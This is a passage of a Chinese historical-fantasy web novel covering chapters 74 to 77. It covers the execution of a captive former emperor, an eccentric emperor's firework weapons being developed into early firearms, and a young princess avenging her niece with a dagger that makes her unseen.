“那陛下要大举进攻荣国吗?”萧国丞相问道。 萧国皇帝看着他满脸担忧的神色,大脑从一开始的过热中抽离出来,他现在冷静下来,思考了一下,觉得还是不要做太大的动作,安抚一下自家的老丞相,他说:“这个等着探子那边传来更多的消息吧。” 萧国丞相这才松了一口气。 皇帝虽然很愤怒,但是没有被愤怒完全地冲昏了头脑。 这是好事。 但是现在的荣国皇帝到底是怎么回事? 萧国丞相捏着自己的胡子低头思考着。 他算不上多么唯物,但是他长这么大都没听过有人复活,那只不过是骗村中愚夫愚妇的话,他作为丞相自然是不能相信的,也不能让皇帝相信这些。 难道他们是一不小心吃了什么有毒的东西产生了幻觉? 萧国的皇帝四处看看,他仍觉得自己的情绪没有完全被发泄出去。 现在最好不要大举进攻萧国,但是他觉得自己还是应该做点别的,于是他说道:“之前我们抓到的荣国的皇帝还在吧?去把他给杀了。把他的头做成碗,把他的皮做成鼓,把他的肉做成肉酱,把他的骨头……不管做成什么东西,送到荣国去,让他们见识一下,萧国是不允许挑衅的!” 他们这边没有荣国皇帝祖宗的尸体,但是他们可以新鲜现做。 第74章 萧国的丞相很想说一句,您这真的不是在帮荣国的皇帝吗? 要是谢吾德知道,这位新皇帝说不定会爆笑出声。 他怎么可能在意这位荣国曾经的皇帝。 何止是谢吾德,谢珖对自己这个亲爹也没有多少在意。 在新皇帝登基之后,这一点表现得更明显了。 不说新皇帝今年不过十六岁,他根本就没见过这人,单说荣国那位曾经的皇帝做的事情,但凡脾气大一点的皇帝都会看不起他,如果再叠加谢吾德传闻中疯疯癫癫的性格,说不定他自己都会想把这个曾经的皇帝做成工艺品。 可是萧国的皇帝说得也对,他们必须要做出相应的姿态。 不一定是给新帝看的,也是给萧国、甚至是荣国的人看,让他们知道一下,这么做的后果到底是什么样的。 有些事情可能怎么做都有道理,怎么做都没道理,在这种时候就看皇帝怎么想了。 显然,皇帝选择正面刚. “你们要干什么?你们要干什么?朕是荣国的皇帝!你们怎敢对朕如此不敬!啊——” 曾经的皇帝谢袆被从房间里拖了出来。 他的双手双脚死命地挣扎着,就像是要被杀的年猪肥羊,但谢袆的战斗力比起年猪来说还是太弱了。 虽然人们都觉得猪胖,但是猪也是一身的肌肉,等闲几个大汉是摁不住的。 谢袆只需要一个人就能抓住拖走,他身上的肥肉不算特别多,但是肌肉更少,属于丢到山林里喂野生动物,小动物们一口下去都要担心一下心脑血管健康的程度。 这里是荣国那些皇族、甚至是贵族被拘押的地方,但平时还是有人打扫的。 不过地砖破碎的瓦砾很难凭借他们手头上的资源修复,大家虽然在萧国掌握了不少自力更生的技能,但是离成为一个工匠还是太远了。 在谢袆身边,还有一些忠心耿耿的太监试图把他扯出来,然而也被无情地踢到了一边,踢断了好几根肋骨。 谢袆看了一眼那个太监,眼中流露出一丝怨恨。 不是对萧国人的,而是对这个没用的太监的。 连救驾都做不好,他怎么不死了? 萧国人才懒得理会他们这些加害者都瞧不起的家伙,他们手一用力,谢袆又被拖拽着走了。 “你们到底是想要干什么?你们想要什么,朕都会给的!或者你们可以联系现在的荣国皇帝,让他给你们!朕是他的祖父,他不敢不给的!”谢袆惊恐地叫喊着,他从一开始的色厉内荏,变为了无助的哀求。 周围的人没有一个上来帮他的。 大家都被掳走了将近二十年,上下尊卑没有被模糊掉,但是他们之间的关系变得无比冷漠,对皇帝的尊重也与日俱减。 很多人都想着能够自保就是上天保佑了,哪里能去管得了别人? 也不是没有良心未泯的人,可是他们亲眼看到谢萍母女被萧国人拖走,然而谢袆却对此毫不加阻拦纯当自己没看见,在女儿和她的孩子被拖走几个时辰后才出来,装模作样地问“刚刚发生了什么事情”。 就算当时在谢萍母女被抓走时没有人帮助他们,但谢袆还是让所有人失望了。 大家的心都凉了。 皇帝富有四海,别人为他做什么都是理所应当的,这甚至可以算作大义,但是凡事都应该有一个尺度。 就像是尊老爱幼是传统美德,一般人都不会否定这个大义。 但是这并不代表倚老卖老或者仗着自己是小孩就胡作非为就能够被接受。 皇帝的过分程度已经跌破了绝大多数人的容忍范围了。 没有人对皇帝破口大骂把他打成猪头是因为不想吗? 大概只是封建压迫下对思想的束缚让大家不敢这么做吧, 虽然大家会因为皇帝是之前那些英明神武的皇帝的后代而将他奉为皇帝—,大家是因为血统而不是能力才追随他的,但绝大多数人还是希望自己追随的人能有一点本事,在危机的时候能够扛起事来。 就算能力不行,但偶尔也得有一点闪光点吧? 可惜的是,现在的这位谢袆是半点都没有展现出半点的闪光点。 说他是人都像是对“人”这个字最大的侮辱一样。 所以现在,他的儿女、他的妃子、他的臣子,没有一个上前来阻止的。 北荣的覆灭,不能够仅仅归咎于眼前的这位谢袆,但他们沦落到今天这一步,那真是得拜他所赐。 之前大家有自己的利益,很难联合起来,但是现在他们都被萧国俘虏了二十年了,已经没什么可争的了。 大家几乎都冷漠地看着这位曾经的谢袆,在谢袆看向他们的时候,他们才会假装惊讶,露出一点好像要救他一样的动作。 然而他们连脚都挪一下。 大家都是想活着的,他们不想救谢袆。 敌人的恐怖固然让人痛苦,但更没法原谅的,其实是自己人的无能和恶心。 如果是邱腾这样的忠勇之人,也许有的人真的会上去拦一下,但是谢袆……还是算了。 “你们这一群懦夫!”这位曾经的谢袆无比愤怒地嘶吼着,“你们对得起朕以前发给你们的俸禄、对得起大荣吗?” 是啊,他们都是一群懦夫,有勇气的人不是抵抗到死就是直接自杀了。 这都不是谢袆自己作的吗? 有一个年纪不大的女孩也冷漠地看着这一幕。 她也正是之前这个无能的皇帝的女儿,也正是和谢萍和大公主说南边换皇帝的小姑娘。 她在看到自己的亲生父亲遭到如此对待的时候,眼中闪过的不是怜悯,而是厌烦和爽快。她承认自己其实也是懦弱的,她也害怕自己也被这群人杀死。所以,她没有去救谢萍,她觉得自己救不了。 然而,皇帝作为大公主的父亲,他竟然能够如此冷漠地看着自己的孩子去死。 那种无能和可笑,已经让小姑娘对他的厌恶与日俱增。 这么废物的人,为什么还能活着? 谢萍为什么就要死去。 谢袆想要求助,但这位曾经的谢袆在人生的最后一刻,没有得到任何帮助。他被人摁在台子上,摁住脖子放血。 小姑娘就这么看着他,几乎是倒在和谢萍一模一样的位置上,她脸上却露出一丝微笑。 她从来都不知道忠孝有什么意义,因为从来就没有人以身作则地教她. “莫东西?”谢吾德真是被震撼了全自己,觉得说普通话不够尽兴,直接来了一句方言,“他们把谁杀了?” 谢吾德听到这件事情之后,第一反应是这奖励和惩罚怎么是一个东西啊? 整件事情戏剧性拉满。 这群人想要“诛心”的话,能不能先搞明白谢吾德他在意什么? 他把谢袆给杀了对谢吾德的愤怒还不如抢谢吾德的吃的带来的愤怒大呢。 至少抢谢吾德吃的他是真的会瞬间炸毛的。 一般来讲,谢吾德的确会因为别人动他的人而生气,哪怕这个所谓的他的人只不过是别人以为的。 但一切都是有限度的,谢袆在谢吾德心中就是属于心底里不想和他站在一边的那类。 谢吾德的底线不高,他也不是没有过凶残的手下,甚至很多下属脑子里也都不太正常。 可是至少不要让他的队友看起来太过于低层次了,这样会让谢吾德这个人看上去都没什么格调。 邱潇看着摆在谢吾德桌子上的那份奏折,他都能想象到自己叔父在听到这个消息的时候内心有多么悲愤。 邱腾是实打实地在维护谢袆的人,皇帝是这个国家的代表,君辱臣死,邱腾大概现在生撕了萧国皇帝的心都有了。 然而,谢吾德却喜气洋洋的:“有没有烟花?我们放烟花吧。” 在谢吾德登基的那一天,宫里几乎放了一晚上的烟花,不确定现在还有没有库存了。 邱潇拦住了谢吾德,他说道:“陛下,还是先不要过早庆祝为好。” 最重要的是不要把他的叔父给气到。” “这件事情如果让萧国那边知道,也不太好……”邱潇继续说,剩下的话邱潇说不出来,他只是用眼神示意着谢吾德,告诉他“陛下,您总不希望少一份收藏品吧”。 被萧国知道谢吾德喜欢这东西,他们说不定就直接不把谢袆的尸体发回来了。 “万一您这么做让萧国找到了真正恶心您的方法,让他们把先帝给供奉起来,您能接受吗?”余文彦在一旁默默补充。 这可戳到了谢吾德的雷点。 谢吾德沉默两秒,说道:“他们要真敢这么做的话,我就要把他们剁成肉泥。” 不过谢吾德没再提放烟花的事情。 他倒是跟邱潇说道:“到时候我给邱将军弄一点军火,让他去打萧国吧。” 邱潇忍不住惊讶:“陛下,那粮草呢?” 显然邱潇也被邱腾提醒过粮草的问题。 “我手上有一点,直接给他。”这次谢吾德答应得很干脆,“带上我的我给你们的军火。” 谢吾德又重复了一遍“他给的军火”。 邱潇的嘴唇嗫嚅了一下,看上去像是被淋湿的狗一样可怜地问:“陛下……是正经军火吗?” 该不会要用什么奇奇怪怪的东西给他们当武器吧? 虽然感觉谢吾德不会让自己人输,但是谢吾德可能会让他们赢得很不光彩。 余文彦轻轻地咳了一声。 “当然。”谢吾德满口保证,“是正经军火。” 在军队里用,会着火,那不就是军火吗? 第75章 “你说,陛下这是大方还是抠门呢?”谢玖看着地上的那堆“军火”,喃喃自语。 “他是单纯的有病,不要用正常人的想法去评价他做的事情。”邱潇说道。 邱腾正好走了过来,他看着这两个人:“你们两个在说什么呢?” “我说陛下高见。”谢玖秒答。 邱腾:“……”好的,他知道这两个人在私下蛐蛐谢吾德了。 谢吾德的很多表现都让邱腾怀疑他是不是只有六岁……不,六岁也不该这样幼稚得不得了。 一般来说,像谢吾德这个年纪的,应该已经开始懂事了,做事变得有分寸起来,就算作妖也不是这个方向。 也无怪乎谢玖和邱潇想要吐槽,就连他邱腾也想要狠狠地吐槽谢吾德这个人的种种作风。 谢吾德这次送来的“军火”果然不是什么正经的军火。 当然,硬要说这个东西没办法造成杀伤,或者说用起来卑鄙无耻的话,也实在是冤枉谢吾德了。 这东西完全就是横放的烟花,不过是被装在一个个纸筒里,它完全能够连续发射,他们只需要点火就可以了。 这种烟花打在地上也是一打一个坑,虽然没有箭矢的穿透力,但是击打的面积更大。 如果被射到了脸上,或者被打到了某些要害处,那也可能是要命的。 谢吾德将这个东西称作“烟花加特林”。 当邱腾问起加特林是什么的时候,就见谢吾德一脸神往地说道:“大慈大悲加特林菩萨。大夫为了超度众生,制造出了加特林机枪。” 又在说疯话了。 邱腾觉得谢吾德是绝对不信佛教的,他说这种话总感觉带着一种莫名的幽默感,但是偏偏谢吾德身边总是有一半人愿意捧他的臭脚,说“果然是大慈大悲渡世人,我看萧军也需要狠狠地被超度一下”。 所有人都知道谢吾德不正常,但是谢吾德实在是太强了,谢吾德只要够强,就能够得到很多人无条件的支持。 在邱家军驻扎的附近还有一些小城镇,城镇里的工匠最近时不时的就会来这儿溜达一圈。 之前他们需要累死累活地干活才能糊口,每天忙得都抬不起头来,但在谢吾德给他们发东西之后,他们就不需要那么担忧了。 吃的穿得烧的,足够他们过一个暖冬了。 在没有压力之后,他们就开始对谢吾德给的那些东西产生了浓厚的兴趣。 所以他们跑过来,时不时地研究一下谢吾德送来的东西。 这些工匠叽叽喳喳地开始讨论了起来。他们从之前日复一日的劳作、对衣食住行的担忧中脱离出来,现在他们看着眼前的东西,有了如同孩子一般的天真和好奇。 “以前没想过这东西能做成这样。” “里面的就是火药吧?好像□□和我们一直用的不太一样。” “是材料更纯吧?” 这群工匠们拆开了一些烟花加特林,把里面的火药倒了出来,开始做起了各种实验。 实验结果暂时未知,但是阶段性的成果就是一群士兵远远地围着他们,感觉这群工匠就像是家里正在拆家的熊孩子一样。 三天不打上房揭瓦。 他们真的不会炸了这里吗? 但是也有一些士兵也产生了好奇,他们跑过来和这些工匠一起折腾。 “这东西如果埋下去的话能不能行?埋下去,然后远远的点火,放上一排,到时候萧国人一冲进来我们就点火,在守城战上能发挥不少的作用呢。”有士兵连比带划地说,“咻——砰的一声,那些人就变成烟花了。” “那么大的劲,城墙可能会被炸塌吧。”工匠拿着他们自己的材料,一边磨材料一边说。 邱腾听着他们说的话,走了过来说道:“你们能够改进一下这些东西吗?” 邱腾知道谢吾德这一次纯属是想要玩玩这个东西。 按照从邱潇那边得到的消息来看,谢吾德做这一切本心大概只是想要理直气壮地放烟花。 他真是…… 如果谢吾德不是皇帝的话,即使以邱腾的性格,他都想说点脏话了。 总之,谢吾德这一次做这些只是临时起意,但是邱腾希望他们以后也能把相关的技术保留在手上。谢吾德只是用了纸筒,那么如果用竹筒呢?甚至如果换上更加结实的东西或者填装上更多的火药呢? 这是不是能够有更加跨越性的改变? 谢吾德这次拿出来的东西思路是跨越性的。 工匠们立刻对邱腾说道:“邱将军,我们请放心,给我们十天半个月的时间,应该能有一些进步。” 其他工匠也都没有因为他的话而有什么抗议,说一句“就你喜欢站出来替所有人决定”,因为这次他们是真的毫无负担地在琢磨这件事情。 他们从生活中解脱,大脑得到了自由。 邱腾立刻喜笑颜开:“那这一切就拜托各位了。”. 萧国境内—— 一颗小石子被丢了过来,还有人在发出“嘬嘬嘬”像是逗猫一样的声音。 谢瑛往那边看去。 树后面有一个人。 他是蹲在地上的,但是即使蹲在地上也能够看出这个人个子很高。 “嘿。”谢吾德抬起手来,和她打了一声招呼。 “……阿叔有什么事吗?”谢瑛警惕地问道,如果不是谢吾德离得有点近,她都想扭头就跑了。 生活在这里的小姑娘对男人都有着很高的警惕性。在大公主活着的时候也经常警告她不要靠近男人。大公主没说为什么,但是谢瑛还是比较听话的。 谢吾德:“……我这个身体才十六岁。”谁是你阿叔啊老姑。 好了,他又开始讨厌小孩子了。 人类什么时候能不通过身高判断他的年龄?很多小孩就是凭借身高判断年龄的,谢吾德现在一米八的身高会让很多小孩喊他叔叔。 谢吾德作为持续刷新的人类寿命最高记录,任何人喊他叔叔甚至大爷都没问题,但是这并不妨碍在他只表现出十六岁的时候被人喊叔叔他就会不高兴。 明明他的脸看上去还挺显嫩的。 他又不是亚夏和温特那样板着一张脸,自动会给人一种年纪偏大的压迫感。 谢吾德给她丢了一把匕首:“给。” 谢瑛有点意外谢吾德会给她一把匕首,但是她却干脆利落地接了过来。 无论是谢萍还是谢瑛,她们看起来都不太像小孩子。 她们身上有一种被苦难早早催熟的感觉。 但是谢吾德觉得自己果然还是更喜欢和这样的孩子接触,她们看上去更加安静一些。 至于对方遭受了什么,谢吾德倒也不是必须要知道这些会让他心情不好的事情。 谢吾德真的不喜欢这种现实苦难,那是一种来自四面八方的无力。 他看了是真的想要炸掉整个世界。 “好了,你现在手上有匕首了,你能过来聊一会吗?”谢吾德对谢瑛说道。 谢瑛犹豫了一下,还是走到了谢吾德身边,但是紧紧地抓紧了自己手上的匕首。 “你蹲到草丛里面去。”谢吾德说。 “为什么你不蹲到草丛里吗?”谢瑛问道。 谢吾德理直气壮地回答:“我也有点喜欢干净,那草丛里面还不知道有什么虫子呢。” “所以你让我进去?”谢瑛看着谢吾德,像是在看什么神奇的生物一样,从来没有见过像谢吾德这样糟糕的大人。 就算是谢袆……好吧,谢袆比眼前的人糟糕一万倍。 “喜欢干净。”谢吾德理直气壮地瞎话。 “……”谢瑛无语,“你是谁?” “叫我邵华吧。”谢吾德随口编了个名字。 他亲妈就姓邵。 谢瑛看着谢吾德那双蓝色的眼睛,说道:“你给我这个东西是想要干什么?” 谢吾德说道:“你想杀人吗?” 谢瑛愣了,看着手上的匕首说道:“你想让我杀谁?有什么好处吗?” “居然不是否认自己不会杀人吗?” “这有什么不可以否认的,”谢瑛说,“你看到那边的血迹了吗?” 谢瑛遥遥一指。 “好吧,这个角度可能看不到。”谢瑛说道:“那是我父亲的血。如果他不是被萧国人杀了的话,我都想把他给杀了。就是我没有这个能力。” 因为亲眼看到谢萍的死亡,所以谢瑛也有了一点点变化。 谢吾德这次来,也只是因为听谢萍提起过自己有一个小姑姑叫谢瑛。 谢萍的心思实在是太好猜了,小孩子就那么一点想法。 她跟谢吾德提起谢瑛就是希望谢吾德能够帮着照看一下谢瑛。 谢吾德也就来看看了。 他对小孩子不感兴趣,但是对有趣的小孩子兴趣还是很大的。 也顺便因为谢萍和林耀祖搞出来的事情,他也想要看看谢瑛能不能搞出来一些什么事情。 “没有好处,你就当我是神灯精灵好了。”谢吾德说着没人理解的话。 谢吾德指着自己给谢瑛的匕首说道:“看到这个了吗?只要你拿着这把匕首,在其他人眼中,你就会隐身。你想杀谁就杀谁。所以没有任何报酬,纯粹是用来实现你自己的欲望的。” 谢瑛看着谢吾德就像是在看什么精神病一样。 谢吾德看着谢瑛,忽然想要逗弄一下这个小孩:“说不定,用这个的代价是你的生命……” “等等,如果你能隐身为什么还要我藏起来。”谢瑛看着这个匕首想到了一件事。 谢吾德被打断很不爽:“偷偷摸摸的有感觉,你有没有注意到我说了什么啊?” “注意到了。”谢瑛抬起匕首直指谢吾德,“但是我不是三岁小孩,才不会信这些事情。” 如果这个世界上真的有这样神奇的力量,那么北荣为什么会变成现在这个样子。 如果这个人真的有这么好心,那么为什么在谢萍被杀之前不来? 看他的眼睛看上去就像是外族的人。 说不定他就是想要看她悲惨地死去。 谢吾德哇了一声,但是还是嬉皮笑脸的:“你居然拿我的东西来对付我!” “如果你说的东西真的有效,那你怎么还能看到我呢?”谢瑛说着就拿着匕首捅了过去。 她不怕谢吾德反杀。 如果谢吾德杀了她也挺好的,她对这个世界可没有多少眷恋,和她关系最好的人都已经死了。 然而谢吾德就在他的面前完全消失掉了。 在地面上还有一个小小的坠子。 谢瑛拿着匕首,感觉自己在风中凌乱。 第76章 谢瑛仔细地观察着这个小坠子,她的目光在上面停留了很长时间,她把这个坠子紧紧地攥在了自己的手心里,压出了深深的痕迹。 这是谢萍身上的坠子。 在荣国的皇室被掳走之后,身上贵重的财物基本上都被搜刮一空,只有一些零碎的小东西才能够被藏起来、留下去。 这个便是大公主给谢萍的东西,算是她们母女和好的一个见证。谢萍以前和她炫耀过很多次。很幼稚,谢瑛并不羡慕,但是她却完全熟悉了这个挂坠。 在谢萍被砍下脑袋之后,这个坠子便消失不见了。谢瑛本来以为这个坠子被萧国人拿走了,再小块的金子也是金子,但现在看来,它应该是落到了别人手中。 这个人到底是怎么回事? 如果谢瑛没有亲眼看到他消失在她面前,她会觉得这不过是个满口谎言的萧国人或者来自更远地方的胡人。 他说的话中有几分真几分假? 谢瑛看着手中的匕首,她没有看着路,不知不觉地,她就撞到了她的一个哥哥。谢瑛现在不是最小的孩子,但当年一并被掳来的还有她的大哥。大哥如今也已经四十多岁,而谢瑛自己还只是一个孩子。 对方被谢瑛撞到之后,谢瑛紧张地看着他,浑身的肌肉紧紧绷着,随时准备逃跑。然而她的大哥只是困惑地拍了拍衣服,左看看右瞅瞅都没人,自己走掉了。 谢瑛看着自己手上的匕首,陷入了沉默之中。难道那个人说的是真的,只要拿着这个匕首,她在别人眼中就会变得“透明”? 甚至好像不只是这个样子。谢瑛大着胆子去戳自己大哥的后背,对方对谢瑛的存在一无所觉,只是用手拍了拍被戳的地方,又抖了抖自己的衣服,以为是有什么东西掉进了衣服里。 法术做不到干扰别人的注意力,但是科学可以。如同“看不见的大猩猩”那样,只要加入一些微妙的外界干扰,就能让人无法注意到自己本该注意到的东西。 谢瑛真的兴奋了。 小孩子都有一种“世界围着自己转”的错觉。 不夸张地说,这个年纪的他们偶尔会幻想自己是这个世界某种伟大的存在,是饱含梦想的阶段。 成年人其实也有着类似的想法,就比如“我是不同的,发生在别人身上的事情是不会发生在我身上的”,只不过程度有所不同。 现在,谢瑛就有一种“天将降大任于斯人也”的感觉了。 她转身就跑,她第一次走出了这片困住她整个人生的地方。她奔跑在空地上,路过一个个的人,那些人对她就像是对待空气一样。谢瑛只是埋头狂奔着,她的脚踩在这片土地上,冷风吹过她的脸颊,她跑到自己气喘不已也没有停止,最后是一头摔在了地上,摔得手上的皮都破了。 一个萧国的侍卫向这边看来,他总觉得后面似乎有什么东西。 可是那里什么都没有. 听说谢吾德又出现了,谢萍看向林耀祖,有点迫不及待地问道:“谢瑛怎么样了?” 谢萍自从跟谢吾德说过谢瑛的事情之后,就心心念念惦记着自己能不能从谢吾德那边得到关于谢瑛的消息,或者自己有没有可能哪天再和谢瑛见面。 尔雅扭头看向她:“你和陛下说了什么?” 这段时间她一直都不在宫中,而是和自己的妹妹在外面溜达。之前林耀祖跟尔雅提过谢吾德神出鬼没的,尔雅觉得林耀祖说得对,她觉得自己需要解决掉这件事。在听说谢敬明可能直接向谢吾德告密了,她更加知道自己不能糊弄了。 她解决的方法就是直接和谢吾德摊牌,跟谢吾德说她有事要做。 谢吾德听到这话之后笑着反问:“你是想要搞点什么坏事吗?” 尔雅说是。 谢吾德就愉快地批准了:“没关系,你想去哪就去哪。” 问题就这么解决了。 但是其实这不过是延迟死刑。 谢吾德什么都没说,但是他的确是想要毁灭尔雅的。 林耀祖看不出来,但是尔雅能够感觉到谢吾德根本就是希望在尔雅给他“惊喜”之后杀了她。 他欣赏她,所以也更期待杀了她的那一天。 但尔雅没太把这当成一回事。 人早晚都是要死的. 听完谢萍说的话,尔雅叹了口气,然后说:“有些事情你不应该和陛下说。” 谢萍困惑地看了回去:“为什么?” 谢吾德可比她认识的任何一个人都要靠谱。 如果不能向他求救,那她还能向谁求救? “谢吾德的做事风格你应该已经有所了解,他不喜欢主动地向别人伸出援手。他更有可能给对方一些‘赏赐’,让对方自己去解决。你觉得谢瑛现在最想做的是什么?” “……为我复仇?”. 随着砰的一声,一个铁丸被射了出去,把一个铁皮得凹陷下去。 这把的武器看上去就是一个大铁疙瘩,看上去并不精巧,也没有什么美感,甚至还有一种劣质感。 可是,邱腾已经隐隐地感受到了“当量就是艺术”的道理。 开枪的不过是普通的工匠,而不是肌肉虬结的弓手。 邱腾几乎是瞬间意识到了这种新式武器能有多么大的潜力。 “怎么样?邱将军,我们做得不错吧?”工匠们有点得意地对邱腾说道。 邱腾连连点头说道:“干得真的很不错,到时候我会向陛下为你们请功的。” 工匠们嘴巴上说着不好意思,但是实际上脸上已经挂上了喜色。 邱腾才不会做嘴巴上光是应承,实际上把功劳私吞的事情。 这份功劳实打实地就是他们的。 他们也就是客气一下。 “这个东西我们似乎还能够做得更小,现在也就是试验一下。”工匠们你一句我一句地说。 边上只有弓手不太高兴,因为他们觉得自己有职业危机了,他们弯弓搭箭,射了一箭,觉得这火枪的威力也就那样,没有他们射的远,威力其实也不是那么尽人意。 “那我刚刚说替你请功有点早了,我这是不是还得再记你一功?”邱腾对于这些工匠笑道。 大家都是哈哈大笑。 谢玖在一旁看得心头火热,他问这些工匠:“你们能不能先造出来一些?让我带人去萧国那边试试它效果如何。” 邱腾看了看工匠说道:“你们造这样二十把这种武器需要多长时间呢?” “我们这些人可能需要一个月吧。”工匠们稍微有点为难,而且说到这里也有点不好意思了。 他们之前说得那么好,好像觉得自己做出了了不得的成就,但是实际上离大规模制造这些东西还差得远。 如果想要实际做出批量制造的话,那还得进一步改进,最好能把图纸画出来。 “那给你们半个月时间,你们能做多少做多少。谢玖,之后试验这些武器威力的事情就交给你了。”邱腾说道,“对了,别忘了带上那些烟花,陛下问起来的时候也得有个交代。” 谢玖当然是满口答应,他已经迫不及待地想要对敌了。 虽然这些武器不像是刀剑那样可以直接划开别人的脖子,没有那么让人血脉偾张,但是当大家杀红了眼的时候,哪里会在意视觉效果? 大家只在意能少一个敌人就是一个敌人。 他们什么时候能攻破萧国呢?. 谢瑛用匕首划开了一个男人的脖子。 这并不简单。 她有点矮,又有点谨慎,所以姿势有点别扭。 她认识这个人,当时就是这个人拖着谢萍,砍断了她的脖子。 谢瑛觉得自己和谢袆最大的差别就是,谢袆只会口头说说,在她有能力的时候她会选择杀人。 她出生在萧国,她的一些想法和萧国人也有点类似。 以谢袆为戒。 血从这个人的脖子上炸开,正在和同伴吃饭、还在吹牛的男人瞬间就被划开了脖子。 谢瑛浑身颤抖着,但是又在对方补上了一刀。 他杀了谢萍,他就要偿命。 其他士兵被这突发情况吓到了,他们连忙抄起自己的武器。 谢瑛的脸上有一点血,但是没有人能够看到。 她甩了一下匕首上的血。 她有点恶心想吐,但是看着这群人已经拿着武器盲目地看着空气,她知道自己不能继续在这里待下去了。 在她离开之后,这些士兵才注意到了被匕首甩出来的血。 “刚刚……是不是有什么东西?” 他们打了一个哆嗦,手上的武器都掉到了地上。 “有鬼!这里有鬼!” 他们的言论引起了许多人的恐慌,所以消息很快就传到了萧国的丞相那里。 “这个世界哪来的鬼?”萧国丞相第一时间想到的不是“谢吾德搞出来的东西”,而是有人想要搞鬼。他觉得是先帝复活的事情引起了一些人注意,他们想要借着先帝复活的事情为非作歹。 他也觉得萧国皇帝说得不完全错,如果谢吾德真的有那个本事,为什么不直接来杀萧国皇帝? 萧国的丞相又想起了一件事情,这一段时间宫中有失窃的案件。 如果真的是先帝的鬼魂的话,那他怎么会拿宫中的这些东西? 先帝总不可能是再地下没钱了吧? 果然只是个小偷。 “宫中有小贼出没,你们且先不要慌。如果你们能够抓住这个小贼,带回那些失窃的东西,谁抓住那个小贼,必有重赏。”萧国丞相直接下令说道。 在金钱的驱动下,这些人一定会爆发出无比的热情。 他倒要看看,那个宫中的小偷能嚣张多久。 第77章 如果要问那些金银去哪里了,谢瑛会说:“我拿的,怎样?” 她不觉得自己做错了。 不说这本身就是萧国的不义之财,她也不希望看着萧国皇帝坐拥金山银山。 至于拿到的金银被谢瑛丢到了废弃的井里。 谢瑛拿这些金银珠宝也不是出于喜爱,她只是纯粹的想要把这些东西拿走。 萧国从荣国抢了那么多东西,本就是不义之财。 谢瑛拿走这些东西也只是为了惩罚对方。 她也不是拿钱留给自己用。 反正到现在为止,谢瑛没有遇到需要她自己掏钱的地方。 谢袆才死没多久,在谢袆死前,绝大多数人都会看在谢袆是曾经的皇帝以及谢瑛是个小姑娘的份上跟她索要什么的。 更何况她现在在萧国这边蹭吃蹭喝,谁也看不到她,那她就更没有用钱的必要了。 谢瑛往回走,她找了一处地方休息,她紧紧地抱着谢吾德给她的那一把匕首。 坐下来之后,她才感觉到自己的胳膊一疼。 她撩起衣袖看了过去,发现那里有一处伤口,应该是在之前那些萧国的侍卫试探性地挥舞着刀剑的时候划的,当时她没有什么感觉,可是现在放松下来,伤口就开始报警了。 她本来打算在杀掉这个侍卫之后再去杀萧国的皇帝的,可是看现在这个情况,事情可能她之前想得没那么简单,甚至她现在打草惊蛇,恐怕更麻烦了。 她不确定自己被杀之后会不会显露身形。 她不太希望荣国的其他人被她拖累。 谢瑛把匕首插进自己袖子里。 这里已经靠近宫殿的边缘,没有什么人,她需要放松一下,吃点东西,这是这段时间她闲逛的时候发现的最好的躲避地点。 这里其实也靠近被掳来的荣国皇室和贵族居住的地方,谢瑛对这些人没什么留恋,但是她还是更熟悉这里。 其实有很多人注意到谢瑛消失了,但是暂时没有人出去找谢瑛。 就在谢瑛吃着东西的时候,一个有点匆忙的脚步声由远及近地靠近,谢瑛一听这脚步声就知道来的是一个男人。 她急忙把吃的收拾了起来,然而还没有等她掏出匕首,那个人不知道从哪里出现一把抓住了她的胳膊:“别动……小孩?这里怎么会有小孩?” 谢瑛呛到了饭了。 这是一个长相颇为周正的男人,眼神看上去也很清明正直,即使就说了几个字也能感觉有一股正气扑面而来。 他伸手抓住她就是因为谢瑛似乎掏东西的动作,在他的角度,看得并不清楚,但是足够他提前出手预防危险了。 在注意到谢瑛的年纪时候,他脸上的肌肉虽然有点僵硬,但还是努力露出了一个哄小孩的笑。 男人长得并不丑,浓眉大眼国字脸,一看就是那种传统意义上的标准端正的长相,他个头高大,身材健硕,看上去又像是宫中的侍卫。 笑完之后,他看着谢瑛,忽然愣了一下。 “咦,你长得有点眼熟啊。”这个人对谢瑛说道。 谢瑛一脑袋撞在了他的胸口上,。 男人吃痛,但是还是没有松开手,反而下意识地抓得更紧了。 谢瑛挣扎着,但她的力气完全没办法和一个成年人相比。 男人抬头看了一眼谢瑛那充满恐惧的表情,连忙松开了手。 谢瑛就像是一只死命挣扎的猫,在人松手之后就头也不回地跑了。 谢瑛跑远之后,才觉得这个男人恐怕并没有多少恶意。 如果有恶意的话,就不会这么轻易地让她离开了。 所以这个人是谁? 他应该是认出了她是荣国皇室的人。 就算现在没想明白,过一会也能想得明白。 这个人到底是来干什么的? 谢瑛深深地吸了一口气. 男人在这附近转了几圈,然后宫中的侍卫走了过来说道:“状元郎,你怎么在这里?我找了你好久,陛下都说了想要见你。” 男人冲着这个侍卫笑了一下:“我这个人容易找不到路,这附近的景色实在是太好了,一个不留神就迷路了。” 他眼都不眨地就开始编瞎话。 侍卫也露出了一个笑容:“幸亏您是这次的状元,不然我都要怀疑您是不是最近宫中一直想要抓的小贼了。” 每年都有状元,状元也不值钱,但是很吉利。 侍卫不介意在这种时候说两句好听的,而且这个人长得让人很有好感。 这个世界也不是没有科举,就是科举并不是主要的选拔方式,在荣国,大家都倾向于父辈庇荫、举荐之类的,科举选上来的官是拿不到什么权力的,还会被世家排挤。 也就是萧国的世家没有荣国的多,人才数量也不够,他们的世家贵族更喜欢吃吃喝喝圈地盘,所以朝堂上的位置没有被填满,还有有一些能够掌握权力但是十分辛苦空位留下来了,所以在萧国,科举反而相对兴盛一些。 这就给了一些普通人上升的空间。 而眼前的这个人,未弊,他的祖父曾经是荣国的官员,但是只是一个微末小官,他在记事以来就是在萧国长大,所以侍卫并没有怀疑这个人对萧国的忠诚。 荣国有什么东西还值得未弊留恋?萧国给他的比荣国给他的多多了。 曾经属于荣国的人也有很多直接抛弃荣国直奔萧国了。 无论是想要养家糊口还是想要升官发财,对于世家之外的人,还是萧国更有前途。 就连世家的一些人都两头下注,投奔萧国区了。 未弊看着侍卫,他把今天探查到的道路在脑海中转了一圈,然后对着侍卫笑道:“那请为我带路吧。”. 萧国丞相有点头疼。他觉得皇帝的奇思妙想实在是太多了,而且脑洞很大。有 时候他也想说,他家的皇帝好像也是疯疯癫癫的,可能和荣国的那位皇帝不相上下。 “我觉得那就是父皇。”萧国皇帝说,“万一丞相你把父皇给伤了,该怎么办?” 丞相问道:“您为什么会觉得先帝会看上那些东西呢?” 先帝可是没有过过一天苦日子的人。 